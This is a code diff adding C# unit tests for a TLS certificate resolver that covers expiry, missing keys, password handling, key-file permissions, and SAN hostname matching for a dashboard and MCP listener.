+        var invalid = new RecordingLogger();
+        DarlingListenerTls.Resolve(
+            invalid, new WebTlsCertificateState(), ListenerTlsLabels.Web, new WebTlsConfig { CertPath = "/certs/a.crt" }, Listen, Port, null);
+        Assert.Equal(
+            "Web dashboard TLS is misconfigured (web.network.tls sets certPath with no keyPath — a PEM certificate cannot serve TLS without its private key.) — refusing to expose; binding loopback-only.",
+            Assert.Single(invalid.At(LogLevel.Critical)));
+
+        // Load failure.
+        var absent = Path.Combine(temp.Path, "absent.pfx");
+        var failed = new RecordingLogger();
+        DarlingListenerTls.Resolve(
+            failed, new WebTlsCertificateState(), ListenerTlsLabels.Web, new WebTlsConfig { PfxPath = absent }, Listen, Port, null);
+        Assert.Equal(
+            $"Web dashboard TLS certificate could not be loaded (web.network.tls.pfxPath '{absent}' does not exist or is not readable) — refusing to expose; binding loopback-only.",
+            Assert.Single(failed.At(LogLevel.Critical)));
+
+        // Expired.
+        using var expired = Make("expired", DateTimeOffset.UtcNow.AddDays(-30), DateTimeOffset.UtcNow.AddDays(-1));
+        var expiredLog = new RecordingLogger();
+        DarlingListenerTls.Resolve(
+            expiredLog, new WebTlsCertificateState(), ListenerTlsLabels.Web, WritePfx(temp, expired), Listen, Port, null);
+        Assert.Equal(
+            $"Web dashboard TLS certificate cannot be used (the certificate expired on {U(expired.NotAfter)} — TLS cannot be served with it) — refusing to expose; binding loopback-only.",
+            Assert.Single(expiredLog.At(LogLevel.Critical)));
+
+        // Not yet valid.
+        using var future = Make("future", DateTimeOffset.UtcNow.AddDays(2), DateTimeOffset.UtcNow.AddDays(40));
+        var futureLog = new RecordingLogger();
+        DarlingListenerTls.Resolve(
+            futureLog, new WebTlsCertificateState(), ListenerTlsLabels.Web, WritePfx(temp, future), Listen, Port, null);
+        Assert.Equal(
+            $"Web dashboard TLS certificate cannot be used (the certificate is not valid until {U(future.NotBefore)} (check the system clock) — TLS cannot be served with it yet) — refusing to expose; binding loopback-only.",
+            Assert.Single(futureLog.At(LogLevel.Critical)));
+
+        // Usable, no iPAddress SAN for the listen IP, a PEM pair with a stray password: three lines in order.
+        using var plain = Make("web-plain", DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365));
+        var pem = WritePem(temp, plain);
+        pem.PfxPassword = "left-over";
+        var loadedLog = new RecordingLogger();
+        var served = DarlingListenerTls.Resolve(
+            loadedLog, new WebTlsCertificateState(), ListenerTlsLabels.Web, pem, Listen, Port, null);
+        using (served.Certificate!.Value)
+        {
+            Assert.Equal(
+                new[]
+                {
+                    "Web dashboard TLS: web.network.tls sets a PKCS#12 password alongside a PEM pair — the PEM pair is being served and the password is ignored. Remove it, or finish setting pfxPath if the bundle was the one you meant.",
+                    "Web dashboard TLS certificate carries no iPAddress SAN for 192.168.1.205 — every browser will report a name mismatch. The anti-DNS-rebind Host allowlist accepts only that literal IP or loopback in the Host header, so a LAN client has to browse to it by IP on port 5153 and a DNS-name-only certificate can never match. Reissue the certificate with an iPAddress SAN.",
+                },
+                loadedLog.At(LogLevel.Warning));
+            Assert.Equal(
+                $"Web dashboard TLS certificate loaded — subject {plain.Subject}, thumbprint {plain.Thumbprint}, expires {U(plain.NotAfter)}.",
+                Assert.Single(loadedLog.At(LogLevel.Information)));
+        }
+
+        // Inside the warning window.
+        using var closing = Make("closing", DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(10), ips: new[] { "192.168.1.205" });
+        var closingLog = new RecordingLogger();
+        var closingOutcome = DarlingListenerTls.Resolve(
+            closingLog, new WebTlsCertificateState(), ListenerTlsLabels.Web, WritePfx(temp, closing), Listen, Port, null);
+        using (closingOutcome.Certificate!.Value)
+        {
+            Assert.Equal(
+                $"Web dashboard TLS certificate expires in 10 days ({U(closing.NotAfter)}) — subject {closing.Subject}, thumbprint {closing.Thumbprint}. The dashboard stops serving when it lapses; renew it before then.",
+                Assert.Single(closingLog.At(LogLevel.Warning)));
+        }
+    }
+
+    /* ---- F1: the three-outcome invariant ---- */
+
+    [Fact]
+    public void Resolve_ValidPfx_ExposesWithCertificate()
+    {
+        using var temp = new TempDir();
+        using var cert = Make("pfx", DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365));
+        var state = new McpTlsCertificateState();
+
+        var outcome = DarlingListenerTls.Resolve(
+            new RecordingLogger(), state, ListenerTlsLabels.Mcp, WritePfx(temp, cert), Listen, Port, null);
+
+        using (outcome.Certificate!.Value)
+        {
+            Assert.True(outcome.Expose);
+            Assert.False(outcome.ExposesWithoutItsCertificate);
+            Assert.Equal(DarlingWebTls.TlsShape.Pfx, outcome.Shape);
+            Assert.True(outcome.Certificate.Value.Leaf.HasPrivateKey);
+            Assert.Equal(cert.Thumbprint, outcome.Certificate.Value.Leaf.Thumbprint);
+            Assert.False(state.Read()!.RefusedNotYetValid);
+        }
+    }
+
+    [Fact]
+    public void Resolve_ValidPem_ExposesWithCertificate()
+    {
+        using var temp = new TempDir();
+        using var cert = Make("pem", DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365));
+
+        var outcome = DarlingListenerTls.Resolve(
+            new RecordingLogger(), new McpTlsCertificateState(), ListenerTlsLabels.Mcp, WritePem(temp, cert), Listen, Port, null);
+
+        using (outcome.Certificate!.Value)
+        {
+            Assert.True(outcome.Expose);
+            Assert.Equal(DarlingWebTls.TlsShape.Pem, outcome.Shape);
+            Assert.True(outcome.Certificate.Value.Leaf.HasPrivateKey);
+            Assert.Equal(cert.Thumbprint, outcome.Certificate.Value.Leaf.Thumbprint);
+        }
+    }
+
+    /* ---- the private key file: named when ordinary users can read it (Windows) ---- */
+
+    /// <summary>
+    /// A key file (the PEM key, or the PKCS#12 bundle) that BUILTIN\Users can read logs one Warning that names the
+    /// file and gives the icacls line, and the listener still serves: it is a warning, not a refusal.
+    /// </summary>
+    [Theory]
+    [InlineData("web", "pem")]
+    [InlineData("mcp", "pem")]
+    [InlineData("mcp", "pfx")]
+    public void Resolve_KeyFileReadableByUsers_Warns(string section, string form)
+    {
+        Assert.SkipUnless(OperatingSystem.IsWindows(), "ACLs are Windows-only.");
+
+        var labels = section == "web" ? ListenerTlsLabels.Web : ListenerTlsLabels.Mcp;
+        using var temp = new TempDir();
+        using var cert = Make("readable", DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365), ips: new[] { "192.168.1.205" });
+        var block = form == "pem" ? WritePem(temp, cert) : WritePfx(temp, cert);
+        var file = form == "pem" ? block.KeyPath! : block.PfxPath!;
+        GrantUsersRead(file);
+        Assert.True(DarlingFileSecurity.IsReadableByOrdinaryUsers(file), "the arrangement must make the file readable");
+        var log = new RecordingLogger();
+
+        var outcome = DarlingListenerTls.Resolve(log, new WebTlsCertificateState(), labels, block, Listen, Port, null);
+
+        using (outcome.Certificate!.Value)
+        {
+            Assert.True(outcome.Expose);
+            Assert.Equal(
+                $"{labels.Surface} TLS: the {(form == "pem" ? "private key file" : "PKCS#12 bundle")} {file} is readable by ordinary users"
+                + $"{DarlingFileSecurity.DescribeOwnerAndExposure(file)}. Only SYSTEM, Administrators and the service account should be able to read it. "
+                + $"Restrict it with: icacls \"{file}\" /inheritance:r /grant:r \"NT AUTHORITY\\SYSTEM:(F)\" \"BUILTIN\\Administrators:(F)\" "
+                + $"\"{DarlingFileSecurity.ServiceAccountDisplayName}:(R)\"",
+                Assert.Single(log.At(LogLevel.Warning)));
+        }
+    }
+
+    /// <summary>
+    /// The same file once its ordinary-user read is gone logs nothing, and for a PEM pair the certificate beside the
+    /// key is public: a readable certificate file alone does not warn.
+    /// </summary>
+    [Theory]
+    [InlineData("pem")]
+    [InlineData("pfx")]
+    public void Resolve_KeyFileRestricted_IsSilent(string form)
+    {
+        Assert.SkipUnless(OperatingSystem.IsWindows(), "ACLs are Windows-only.");
+
+        using var temp = new TempDir();
+        using var cert = Make("restricted", DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365), ips: new[] { "192.168.1.205" });
+        var block = form == "pem" ? WritePem(temp, cert) : WritePfx(temp, cert);
+        var file = form == "pem" ? block.KeyPath! : block.PfxPath!;
+
+        /* Control: readable, so the same call warns. Then the read is removed and it does not. */
+        GrantUsersRead(file);
+        var control = new RecordingLogger();
+        using (DarlingListenerTls.Resolve(control, new WebTlsCertificateState(), ListenerTlsLabels.Mcp, block, Listen, Port, null).Certificate!.Value)
+        {
+            Assert.Single(control.At(LogLevel.Warning));
+        }
+
+        MakePrivate(file);
+        if (form == "pem")
+        {
+            GrantUsersRead(block.CertPath!);
+        }
+
+        Assert.False(DarlingFileSecurity.IsReadableByOrdinaryUsers(file));
+        var log = new RecordingLogger();
+        using (DarlingListenerTls.Resolve(log, new WebTlsCertificateState(), ListenerTlsLabels.Mcp, block, Listen, Port, null).Certificate!.Value)
+        {
+            Assert.Empty(log.At(LogLevel.Warning));
+        }
+    }
+
+    /* ---- the PKCS#12 password slots: only a literal in the config file is named ---- */
+
+    private static string PlaintextPasswordText(ListenerTlsLabels labels)
+        => $"{labels.Surface} TLS: {labels.Section}.network.tls.pfxPassword is set in plaintext (dev convenience). "
+           + "Prefer encryptedPfxPassword (--encrypt-password) or a file:/env: reference.";
+
+    /// <summary>A literal <c>pfxPassword</c> logs one Warning naming the section's setting, and the bundle still loads.</summary>
+    [Theory]
+    [InlineData("web")]
+    [InlineData("mcp")]
+    public void Resolve_PlaintextPfxPassword_Warns(string section)
+    {
+        var labels = section == "web" ? ListenerTlsLabels.Web : ListenerTlsLabels.Mcp;
+        using var temp = new TempDir();
+        using var cert = Make("literal", DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365), ips: new[] { "192.168.1.205" });
+        var block = WritePfx(temp, cert);
+        block.PfxPassword = "hunter2";
+        var log = new RecordingLogger();
+
+        var outcome = DarlingListenerTls.Resolve(log, new WebTlsCertificateState(), labels, block, Listen, Port, null);
+
+        using (outcome.Certificate!.Value)
+        {
+            Assert.True(outcome.Expose);
+            Assert.Equal(PlaintextPasswordText(labels), Assert.Single(log.At(LogLevel.Warning)));
+        }
+    }
+
+    /// <summary>The warning comes before the load, so a wrong literal that then fails to open the bundle still carries it.</summary>
+    [Fact]
+    public void Resolve_PlaintextPfxPassword_WarnsEvenWhenTheLoadFails()
+    {
+        using var temp = new TempDir();
+        using var cert = Make("literal-wrong", DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365));
+        var block = WritePfx(temp, cert, exportPassword: "right");
+        block.PfxPassword = "wrong";
+        var log = new RecordingLogger();
+
+        var outcome = DarlingListenerTls.Resolve(log, new WebTlsCertificateState(), ListenerTlsLabels.Mcp, block, Listen, Port, null);
+
+        Assert.False(outcome.Expose);
+        Assert.Equal(PlaintextPasswordText(ListenerTlsLabels.Mcp), Assert.Single(log.At(LogLevel.Warning)));
+        Assert.Single(log.At(LogLevel.Critical));
+    }
+
+    /// <summary>An <c>env:</c> or <c>file:</c> reference is not plaintext in the config, so neither logs a Warning.</summary>
+    [Theory]
+    [InlineData("file")]
+    [InlineData("env")]
+    public void Resolve_ReferencePfxPassword_IsSilent(string kind)
+    {
+        using var temp = new TempDir();
+        using var cert = Make("reference", DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365), ips: new[] { "192.168.1.205" });
+        var block = WritePfx(temp, cert);
+        const string variable = "DARLING_TEST_5295_L18_PFX_PASSWORD";
+        if (kind == "env")
+        {
+            block.PfxPassword = "env:" + variable;
+        }
+
+        Assert.StartsWith(kind + ":", block.PfxPassword, StringComparison.Ordinal);
+        var log = new RecordingLogger();
+
+        try
+        {
+            Environment.SetEnvironmentVariable(variable, "hunter2");
+            var outcome = DarlingListenerTls.Resolve(log, new WebTlsCertificateState(), ListenerTlsLabels.Mcp, block, Listen, Port, null);
+
+            using (outcome.Certificate!.Value)
+            {
+                Assert.True(outcome.Expose);
+                Assert.Empty(log.At(LogLevel.Warning));
+            }
+        }
+        finally
+        {
+            Environment.SetEnvironmentVariable(variable, null);
+        }
+    }
+
+    /// <summary>The DPAPI slot is the preferred shape: set on its own it logs no Warning (Windows, where DPAPI is).</summary>
+    [Fact]
+    public void Resolve_EncryptedPfxPassword_IsSilent()
+    {
+        Assert.SkipUnless(OperatingSystem.IsWindows(), "DPAPI is Windows-only.");
+
+        using var temp = new TempDir();
+        using var cert = Make("encrypted", DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365), ips: new[] { "192.168.1.205" });
+        var withFile = WritePfx(temp, cert);
+        var block = new WebTlsConfig { PfxPath = withFile.PfxPath, EncryptedPfxPassword = DarlingSecrets.Protect("hunter2") };
+        var log = new RecordingLogger();
+
+        var outcome = DarlingListenerTls.Resolve(log, new WebTlsCertificateState(), ListenerTlsLabels.Mcp, block, Listen, Port, null);
+
+        using (outcome.Certificate!.Value)
+        {
+            Assert.True(outcome.Expose);
+            Assert.Empty(log.At(LogLevel.Warning));
+        }
+    }
+
+    [Theory]
+    [InlineData("both-forms")]
+    [InlineData("pem-cert-without-key")]
+    [InlineData("pem-key-without-cert")]
+    [InlineData("password-without-bundle")]
+    [InlineData("block-with-no-known-keys")]
+    [InlineData("unreadable-file")]
+    [InlineData("wrong-password")]
+    [InlineData("expired")]
+    [InlineData("not-yet-valid")]
+    [InlineData("throw-after-load")]
+    public void Resolve_EveryConfiguredArm_NeverExposesWithoutCertificate(string arm)
+    {
+        using var temp = new TempDir();
+        using var good = Make("arm", DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365));
+        using var old = Make("arm-old", DateTimeOffset.UtcNow.AddDays(-30), DateTimeOffset.UtcNow.AddDays(-1));
+        using var future = Make("arm-future", DateTimeOffset.UtcNow.AddDays(2), DateTimeOffset.UtcNow.AddDays(40));
+        var log = new RecordingLogger();
+        var block = arm switch
+        {
+            "both-forms" => new WebTlsConfig { PfxPath = "/certs/a.pfx", CertPath = "/certs/a.crt", KeyPath = "/certs/a.key" },
+            "pem-cert-without-key" => new WebTlsConfig { CertPath = "/certs/a.crt" },
+            "pem-key-without-cert" => new WebTlsConfig { KeyPath = "/certs/a.key" },
+            "password-without-bundle" => new WebTlsConfig { PfxPassword = "hunter2" },
+            "block-with-no-known-keys" => new WebTlsConfig(),
+            "unreadable-file" => new WebTlsConfig { PfxPath = Path.Combine(temp.Path, "absent.pfx") },
+            "wrong-password" => WritePfx(temp, good, "right", "wrong"),
+            "expired" => WritePfx(temp, old),
+            "not-yet-valid" => WritePfx(temp, future),
+            "throw-after-load" => WritePfx(temp, good),
+            _ => throw new ArgumentOutOfRangeException(nameof(arm)),
+        };
+        if (arm == "throw-after-load")
+        {
+            /* The only Information line is the last thing after the load; throwing there is a throw AFTER the
+               certificate was loaded and published. */
+            log = new RecordingLogger { ThrowOn = LogLevel.Information };
+        }
+
+        var outcome = DarlingListenerTls.Resolve(log, new WebTlsCertificateState(), ListenerTlsLabels.Mcp, block, Listen, Port, null);
+
+        Assert.False(outcome.Expose);
+        Assert.Null(outcome.Certificate);
+        Assert.False(outcome.ExposesWithoutItsCertificate);
+        Assert.NotEmpty(log.At(LogLevel.Critical));
+    }
+
+    [Fact]
+    public void Resolve_WrongPfxPassword_PublishesTheLoadRefusal_InsteadOfClearingTheState()
+    {
+        using var temp = new TempDir();
+        using var good = Make("refusal", DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365));
+        var state = new McpTlsCertificateState();
+        state.Publish(DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(10), "CN=earlier", "EARLIER", refusedNotYetValid: false);
+
+        var outcome = DarlingListenerTls.Resolve(
+            new RecordingLogger(), state, ListenerTlsLabels.Mcp, WritePfx(temp, good, "right", "wrong"), Listen, Port, null);
+
+        Assert.False(outcome.Expose);
+        var published = state.Read();
+        Assert.NotNull(published);   // not cleared: a cleared state reads as healthy
+        Assert.False(string.IsNullOrWhiteSpace(published!.LoadRefusal));
+        Assert.Contains("could not be loaded", published.LoadRefusal);
+        Assert.False(published.RefusedNotYetValid);
+        Assert.Equal(string.Empty, published.Thumbprint);   // the earlier facts are replaced, not left standing
+    }
+
+    [Fact]
+    public void Resolve_ThrowAfterTheCertificateWasPublished_ReplacesItsFactsWithTheLoadRefusal()
+    {
+        using var temp = new TempDir();
+        using var good = Make("late", DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365));
+        var state = new WebTlsCertificateState();
+
+        var outcome = DarlingListenerTls.Resolve(
+            new RecordingLogger { ThrowOn = LogLevel.Information }, state, ListenerTlsLabels.Mcp,
+            WritePfx(temp, good), Listen, Port, null);
+
+        Assert.False(outcome.Expose);
+        Assert.NotNull(state.Read()!.LoadRefusal);
+        Assert.Equal(string.Empty, state.Read()!.Thumbprint);
+    }
+
+    [Fact]
+    public void Outcome_ExposesWithoutItsCertificate_OnlyWhenTlsWasAskedFor()
+    {
+        using var cert = Make("o", DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(30));
+        var loaded = new DarlingWebTls.LoadedCertificate(cert, new X509Certificate2Collection());
+
+        Assert.False(new ListenerTlsOutcome(true, null, DarlingWebTls.TlsShape.NotConfigured).ExposesWithoutItsCertificate);
+        Assert.True(new ListenerTlsOutcome(true, null, DarlingWebTls.TlsShape.Pfx).ExposesWithoutItsCertificate);
+        Assert.True(new ListenerTlsOutcome(true, null, DarlingWebTls.TlsShape.Pem).ExposesWithoutItsCertificate);
+        Assert.True(new ListenerTlsOutcome(true, null, DarlingWebTls.TlsShape.Invalid).ExposesWithoutItsCertificate);
+        Assert.False(new ListenerTlsOutcome(false, null, DarlingWebTls.TlsShape.Pfx).ExposesWithoutItsCertificate);
+        Assert.False(new ListenerTlsOutcome(true, loaded, DarlingWebTls.TlsShape.Pfx).ExposesWithoutItsCertificate);
+    }
+
+    /* ---- the dNSName SAN check ---- */
+
+    [Theory]
+    [InlineData("darling.corp.local", "DARLING.corp.local", true)]
+    [InlineData("darling.corp.local", "darling.corp.local.", true)]
+    [InlineData("other.corp.local", "darling.corp.local", false)]
+    [InlineData("*.corp.local", "darling.corp.local", true)]
+    [InlineData("*.CORP.local", "Darling.corp.LOCAL", true)]
+    [InlineData("*.corp.local", "corp.local", false)]
+    [InlineData("*.corp.local", "a.darling.corp.local", false)]
+    [InlineData("*.corp.local", ".corp.local", false)]
+    [InlineData("d*.corp.local", "darling.corp.local", false)]
+    [InlineData("darling.*.local", "darling.corp.local", false)]
+    [InlineData("*.*.local", "a.b.local", false)]
+    [InlineData("*", "darling", false)]
+    [InlineData("*.", "darling", false)]
+    public void SanCheck_DnsNameMatching_ExactAndOneLabelWildcard(string san, string host, bool expected)
+        => Assert.Equal(expected, DarlingListenerTls.DnsNameMatchesSan(san, host));
+
+    [Fact]
+    public void SanCheck_RealCertificate_ReadsTheSanOnly()
+    {
+        using var named = Make("CN-is-other.local", DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(30), dns: new[] { "*.corp.local" });
+        using var ipOnly = Make("ip-only", DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(30), ips: new[] { "192.168.1.205" });
+        using var none = Make("darling.corp.local", DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(30));
+
+        Assert.True(DarlingListenerTls.SanCoversDnsName(named, "darling.corp.local"));
+        Assert.False(DarlingListenerTls.SanCoversDnsName(named, "corp.local"));
+        Assert.False(DarlingListenerTls.SanCoversDnsName(ipOnly, "darling.corp.local"));
+        Assert.False(DarlingListenerTls.SanCoversDnsName(none, "darling.corp.local"));
+        Assert.False(DarlingListenerTls.SanCoversDnsName(named, "CN-is-other.local"));
+    }
+
+    [Fact]
+    public void SanCheck_WithoutPublicBaseUrl_IsTodaysIpOnlyText_AndSilentWhenTheIpIsNamed()
+    {
+        using var dnsOnly = Make("d", DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(30), dns: new[] { "dash.corp.local" });
+        using var withIp = Make("i", DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(30), ips: new[] { "192.168.1.205" });
+
+        var text = DarlingListenerTls.SanWarning(ListenerTlsLabels.Web, dnsOnly, Listen, Port, null);
+        Assert.StartsWith("Web dashboard TLS certificate carries no iPAddress SAN for 192.168.1.205 — every browser will report", text, StringComparison.Ordinal);
+        Assert.EndsWith("a DNS-name-only certificate can never match. Reissue the certificate with an iPAddress SAN.", text, StringComparison.Ordinal);
+        Assert.Null(DarlingListenerTls.SanWarning(ListenerTlsLabels.Web, withIp, Listen, Port, null));
+        Assert.Null(DarlingListenerTls.SanWarning(ListenerTlsLabels.Web, dnsOnly, IPAddress.Any, Port, null));
+        Assert.Null(DarlingListenerTls.SanWarning(ListenerTlsLabels.Web, dnsOnly, IPAddress.IPv6Any, Port, null));
+
+        // An IP-literal publicBaseUrl host is the IP check's business, as before: the text is today's.
+        Assert.Equal(text, DarlingListenerTls.SanWarning(ListenerTlsLabels.Web, dnsOnly, Listen, Port, "10.0.0.5"));
+        Assert.Equal(text, DarlingListenerTls.SanWarning(ListenerTlsLabels.Web, dnsOnly, Listen, Port, "[::1]"));
+    }
+
+    [Fact]
+    public void SanCheck_WithPublicBaseUrl_NamedByCertificate_IsSilent_Otherwise_NamesBoth()
+    {
+        using var dnsOnly = Make("d", DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(30), dns: new[] { "*.corp.local" });
+        using var neither = Make("n", DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(30), dns: new[] { "elsewhere.example" });
+
+        Assert.Null(DarlingListenerTls.SanWarning(ListenerTlsLabels.Web, dnsOnly, Listen, Port, "dash.corp.local"));
+        Assert.Null(DarlingListenerTls.SanWarning(ListenerTlsLabels.Web, dnsOnly, IPAddress.Any, Port, "dash.corp.local"));
+
+        var both = DarlingListenerTls.SanWarning(ListenerTlsLabels.Web, neither, Listen, Port, "dash.corp.local");
+        Assert.Contains("carries neither an iPAddress SAN for 192.168.1.205 nor a dNSName SAN for dash.corp.local", both, StringComparison.Ordinal);
+        Assert.DoesNotContain("can never match", both, StringComparison.Ordinal);
+
+        var nameOnly = DarlingListenerTls.SanWarning(ListenerTlsLabels.Mcp, neither, IPAddress.Any, Port, "dash.corp.local");
+        Assert.StartsWith("MCP server TLS certificate carries no dNSName SAN for dash.corp.local", nameOnly, StringComparison.Ordinal);
+        Assert.Contains("the listen is a wildcard", nameOnly, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void SanCheck_MatchesRealDnsNameThroughResolve_SoNoWarningIsLogged()
+    {
+        using var temp = new TempDir();
+        using var cert = Make("r", DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365), dns: new[] { "dash.corp.local" });
+        var log = new RecordingLogger();
+
+        var outcome = DarlingListenerTls.Resolve(
+            log, new WebTlsCertificateState(), ListenerTlsLabels.Web, WritePfx(temp, cert), Listen, Port, "DASH.corp.local");
+
+        using (outcome.Certificate!.Value)
+        {
+            Assert.Empty(log.At(LogLevel.Warning));
+        }
+    }
+
+    /* ---- #5288 (wave 4): a certificate carries its dNSName SANs in ASCII, so the host name is matched in ASCII ---- */
+
+    /// <summary>A <c>publicBaseUrl</c> host can be written in Unicode, but the certificate's SAN is the punycode
+    /// form, so the Unicode spelling must name the SAN. The IP SAN is absent on purpose: only the name can
+    /// silence the warning, on a specific listen and on a wildcard one.</summary>
+    [Theory]
+    [InlineData("b\u00FCcher.example")]       // Unicode, as a publicBaseUrl can be written
+    [InlineData("B\u00DCCHER.Example")]       // upper case folds
+    [InlineData("b\u00FCcher.example.")]      // one trailing dot
+    [InlineData("xn--bcher-kva.example")]     // already ASCII, so untouched
+    [InlineData("XN--BCHER-KVA.Example")]
+    public void SanCheck_PunycodeSan_NamesTheUnicodeSpellingOfTheHostName_SoNoWarningIsRaised(string hostName)
+    {
+        using var punycodeSan = Make("p", DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(30), dns: new[] { "xn--bcher-kva.example" });
+
+        Assert.Null(DarlingListenerTls.SanWarning(ListenerTlsLabels.Web, punycodeSan, Listen, Port, hostName));
+        Assert.Null(DarlingListenerTls.SanWarning(ListenerTlsLabels.Web, punycodeSan, IPAddress.Any, Port, hostName));
+    }
+
+    /// <summary>The mapping is of the whole name, so a one-label wildcard in punycode still names a Unicode
+    /// subdomain, and still stands for exactly one label.</summary>
+    [Fact]
+    public void SanCheck_PunycodeWildcardSan_NamesAUnicodeSubdomain_OfOneLabelOnly()
+    {
+        using var wildcard = Make("w", DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(30), dns: new[] { "*.xn--bcher-kva.example" });
+
+        Assert.Null(DarlingListenerTls.SanWarning(ListenerTlsLabels.Web, wildcard, Listen, Port, "www.b\u00FCcher.example"));
+        Assert.NotNull(DarlingListenerTls.SanWarning(ListenerTlsLabels.Web, wildcard, Listen, Port, "a.www.b\u00FCcher.example"));
+        Assert.NotNull(DarlingListenerTls.SanWarning(ListenerTlsLabels.Web, wildcard, Listen, Port, "b\u00FCcher.example"));
+    }
+
+    /// <summary>A different IDN name is still a mismatch: the mapping widens nothing. The warning is today's
+    /// text, with the host named as it was given.</summary>
+    [Fact]
+    public void SanCheck_NonMatchingIdnHostName_StillWarns_NamingTheHostAsGiven()
+    {
+        using var other = Make("o", DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(30), dns: new[] { "xn--mnchen-3ya.example" });
+
+        var text = DarlingListenerTls.SanWarning(ListenerTlsLabels.Web, other, Listen, Port, "b\u00FCcher.example");
+
+        Assert.NotNull(text);
+        Assert.Contains("carries neither an iPAddress SAN for 192.168.1.205 nor a dNSName SAN for b\u00FCcher.example", text, StringComparison.Ordinal);
+        Assert.Contains("accepts loopback, that literal IP and b\u00FCcher.example in the Host header", text, StringComparison.Ordinal);
+
+        // The wording is the ASCII-name wording, word for word, and the wildcard-listen text is untouched too.
+        var asciiText = DarlingListenerTls.SanWarning(ListenerTlsLabels.Web, other, Listen, Port, "bucher.example");
+        Assert.Equal(asciiText!.Replace("bucher.example", "b\u00FCcher.example", StringComparison.Ordinal), text);
+        var wildcardText = DarlingListenerTls.SanWarning(ListenerTlsLabels.Mcp, other, IPAddress.Any, Port, "b\u00FCcher.example");
+        Assert.StartsWith("MCP server TLS certificate carries no dNSName SAN for b\u00FCcher.example", wildcardText, StringComparison.Ordinal);
+    }
+
+    /// <summary>A name the mapping refuses keeps its raw form: it warns like any other mismatch, and the
+    /// mapping's exception never reaches start-up.</summary>
+    [Fact]
+    public void SanCheck_UnmappableIdnHostName_KeepsTheRawName_AndWarnsWithoutThrowing()
+    {
+        using var punycodeSan = Make("p", DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(30), dns: new[] { "xn--bcher-kva.example" });
+
+        foreach (var hostName in new[]
+        {
+            "b\u00FCcher..example",                            // an empty label
+            new string('\u00FC', 64) + ".example",            // a label over 63 characters once encoded
+            "\uD800.example",                                 // a lone surrogate
+        })
+        {
+            var text = DarlingListenerTls.SanWarning(ListenerTlsLabels.Web, punycodeSan, Listen, Port, hostName);
+
+            Assert.NotNull(text);
+            Assert.Contains($"nor a dNSName SAN for {hostName} ", text, StringComparison.Ordinal);
+        }
+    }
+
+    /// <summary>The same through <c>Resolve</c>: a Unicode host name against a punycode SAN logs no Warning.</summary>
+    [Fact]
+    public void SanCheck_UnicodeHostNameThroughResolve_AgainstAPunycodeSan_LogsNoWarning()
+    {
+        using var temp = new TempDir();
+        using var cert = Make("r", DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365), dns: new[] { "xn--bcher-kva.example" });
+        var log = new RecordingLogger();
+
+        var outcome = DarlingListenerTls.Resolve(
+            log, new WebTlsCertificateState(), ListenerTlsLabels.Web, WritePfx(temp, cert), Listen, Port, "b\u00FCcher.example");
+
+        using (outcome.Certificate!.Value)
+        {
+            Assert.Empty(log.At(LogLevel.Warning));
+        }
+    }
+
+    /* ---- F11: the start line's sentence about loopback ---- */
+
+    [Theory]
+    [InlineData("192.168.1.205", true, false)]
+    [InlineData("0.0.0.0", true, true)]
+    [InlineData("::", true, true)]
+    [InlineData("127.0.0.1", true, true)]
+    [InlineData("0.0.0.0", false, false)]
+    [InlineData("192.168.1.205", false, false)]
+    public void DescribeLoopbackListener_NamesPlainHttpOnlyWhenLoopbackIsReallyPlain(string bind, bool tls, bool oneHttpsListener)
+    {
+        var phrase = DarlingListenerTls.DescribeLoopbackListener("loopback also bound over plain HTTP", tls, IPAddress.Parse(bind));
+
+        Assert.Equal(oneHttpsListener ? "the one listener serves HTTPS to loopback too" : "loopback also bound over plain HTTP", phrase);
+    }
+
+    [Fact]
+    public void TheWebHost_PassesThePublicBaseUrlHost_ToTheTlsCall_AndUsesTheSharedStartLine()
+    {
+        var source = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingWebHostService.cs");
+
+        var host = source.IndexOf("var publicBaseUrlHost = TriageLink.TryGetHost(web.PublicBaseUrl);", StringComparison.Ordinal);
+        var call = source.IndexOf("DarlingListenerTls.Resolve(", StringComparison.Ordinal);
+        Assert.True(host > 0 && call > host, "publicBaseUrlHost must be computed before the TLS call");
+        Assert.Contains("networkListenIp!, effectivePort, publicBaseUrlHost);", source, StringComparison.Ordinal);
